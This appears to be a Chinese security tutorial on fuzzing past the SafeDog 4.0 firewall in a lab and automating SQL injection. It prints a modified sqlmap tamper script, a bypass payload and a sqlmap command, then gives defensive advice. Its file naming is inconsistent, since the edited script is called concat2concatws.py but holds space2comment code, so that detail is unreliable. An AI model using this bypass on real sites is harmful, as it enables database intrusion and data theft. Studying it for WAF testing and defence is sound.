技术讨论 | Fuzz绕过安全狗4.0实现SQL注入
字数 1265 2025-08-15 21:30:47
Fuzz绕过安全狗4.0实现SQL注入技术详解
0×00 技术背景
本文介绍了一种通过模糊测试(Fuzz)技术绕过安全狗4.0防护实现SQL注入的方法。该方法结合了Burp Suite的Intruder模块和修改后的sqlmap tamper脚本,成功绕过了WAF(Web应用防火墙)的防护机制。
0×01 SQL注入绕过WAF常用手法
在开始具体技术前,先了解常见的WAF绕过技术:
- 大小写绕过 - 混合使用大小写字母
- 注释符绕过 - 使用
/**/等注释符号 - 大数据包绕过 - 发送超出WAF检测能力的大数据包
- 内联注释绕过 - 使用
/!**/MySQL特有注释
0×02 实验环境搭建
- 测试平台:搭建一个有SQL注入漏洞的网站
- 防护系统:安装安全狗4.0版本
- 服务器环境:Apache + MySQL + PHP组合
- 工具准备:Burp Suite、sqlmap
0×03 基础测试与拦截分析
- 初始测试使用大小写混合加
/**/注释被拦截 - 使用Burp Suite抓取注入点请求包
- 将请求放入Repeater模块进行初步修改:
- 简化SQL语句结构
- 保留最少必需的空格
- 使用
/**/注释符号替代空格
0×04 Fuzz测试过程详解
4.1 设置Intruder模块
- 将请求包放入Intruder模块
- 设置爆破点(Position)在注释符号位置
- 使用专门的SQL Fuzz字典(包含各种SQL语句变体)
4.2 Fuzz测试结果
- 发现
/*Eor*/注释符可以绕过安全狗检测 - 手动测试时发现
and/*Eor*/1=2会被拦截,但Fuzz时不拦截 - 这种差异可能与WAF的检测机制有关
0×05 sqlmap tamper脚本修改
5.1 修改concat2concatws.py脚本
路径:sqlmap/tamper/concat2concatws.py
修改内容:
#!/usr/bin/env python2
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/*Eor*/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == ' ' and not doublequote and not quote:
retVal += "/*Eor*/"
continue
retVal += payload[i]
return retVal
关键修改点:
- 将默认的
/**/注释替换为/*Eor*/ - 保留了原始脚本的逻辑结构
5.2 使用修改后的sqlmap执行注入
命令格式:
python2 sqlmap.py -r [请求文件] --tamper=space2comment
执行效果:
- 成功绕过安全狗4.0的防护
- 完成SQL注入攻击
0×06 技术原理分析
- WAF绕过机制:安全狗可能对特定注释符号的检测存在盲区
- Fuzz测试优势:自动化测试可以快速发现WAF的检测漏洞
- 手工与自动化差异:WAF可能对自动化工具和手工请求采用不同的检测策略
0×07 防御建议
- WAF规则更新:及时更新WAF规则库,加入对新发现的绕过手法的检测
- 输入验证:实施严格的输入验证机制
- 参数化查询:使用预处理语句和参数化查询
- 多层防护:采用多层次的防御策略,不只依赖WAF
0×08 总结
本文详细介绍了:
- 通过Fuzz测试发现安全狗4.0的绕过方法
- 修改sqlmap tamper脚本实现自动化绕过
- 实际绕过过程中的注意事项和技巧
这种技术不仅适用于安全狗,其方法论也可应用于其他WAF产品的测试。安全研究人员可通过类似方法持续发现和修复WAF产品的防护漏洞。